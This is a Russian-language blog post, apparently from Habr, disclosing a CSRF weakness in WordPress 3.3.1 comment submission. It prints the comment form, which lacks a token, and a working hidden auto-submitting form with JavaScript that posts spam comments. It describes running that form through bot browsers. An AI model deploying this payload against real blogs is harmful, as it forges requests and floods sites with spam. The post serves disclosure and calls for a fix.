Как стать автором
Обновить

CSRF уязвимость в Wordpress — комментарии

Время на прочтение3 мин
Количество просмотров5.2K

Введение


Читал я вчера про Егора Хомякова. Подумал — может и я так смогу? И начал со своего блога на Wordpress. Адрес приводить не буду, иначе сам блог ляжет от Хабраэффекта, а меня обвинят в рекламе :).

Теория


Итак, где имеет смысл искать CSRF в Wordpress? На ум приходит только одно — комментарии. Там и начнём.
Осторожно, под катом две PNG картинки среднего размера.

Смотрим код формы (немного упрощённый):

<form action="http://example.com/wp-comments-post.php" method="post" id="commentform">

<p><input type="text" name="author" id="author" class="styled" value="" size="22" tabindex="1">
<input type="hidden" name="comment_post_ID" value="123">
<label for="author"><small>Имя</small></label></p>

<p><input type="text" name="email" id="email" value="" size="22" tabindex="2">
<label for="email"><small>Почта (скрыта)</small></label></p>

<p><input type="text" name="url" id="url" value="" size="22" tabindex="3">
<label for="url"><small>Сайт</small></label></p>

<p><textarea name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea></p>

<p><input name="submit" type="submit" id="submit" tabindex="5" value="Добавить"></p>


</form>


Сразу на ум приходит — никаких токенов или чего-то подобного! Стоит отметить, что на некоторых блогах я заметил подобие токена от Akismet, но лично у меня с Wordpress 3.3.1 и Akismet никакого токена нет.

Недолго думая, написал простую HTML-форму:

<div style="display:none;"><form action="http://example.com/wp-comments-post.php" method="post" id="commentform">
<p><input type="hidden" name="author" id="author" value="">
<input type="hidden" name="comment_post_ID" value="123"></p>
<p><input type="hidden" name="email" id="email" value="" size="22" tabindex="2"></p>
<p><input type="hidden" name="comment" id="comment" value="LOL"></input></p>
<script>
document.getElementById('author').value=(Math.random()*100000).toFixed(0);
document.getElementById('email').value=(Math.random()*100000).toFixed(0)+'@mail.mail';
document.forms.commentform.submit();
</script>
</form>
</div>


Как видно, такая страница отправляет форму комментария в подопытный блог с именем автора комментария, состоящим из случайных цифр, и e-mail вида <случайные цифры>@mail.mail. Текст комментария предельно прост — LOL.
Минус этого кода — при отправке формы пользователь неминуемо отправляется на подопытный блог. Устранить этот недостаток можно, используя iframe.

Практика


Я поместил данную страницу на PasteHTML вместе со страницей с iframe и запустил в неназванную «систему раскрутки сайтов» из 2000-х, являющуюся просто набором бот-браузеров.
Результат вполне предсказуем:





Заключение


CSRF – не редкость. Но мне непонятно, почему его допускают в ПО, используемом многими миллионами блогов. Популярный анти-спам плагин Akismet также не помог.
Вывод — блогам на Wordpress требуется либо исправление уязвимости в Wordpress, либо узконаправленный плагин для защиты от CSRF атак и/или интеграции современной каптчи.

P.S. Кто может и умеет — напишите, пожалуйста, разработчикам.
P.P.S. Это моя первая статья на Хабре, не судите строго :)
Теги:
Хабы:
+75
Комментарии34

Публикации

Изменить настройки темы

Истории

Работа

Ближайшие события

Weekend Offer в AliExpress
Дата20 – 21 апреля
Время10:00 – 20:00
Место
Онлайн
Конференция «Я.Железо»
Дата18 мая
Время14:00 – 23:59
Место
МоскваОнлайн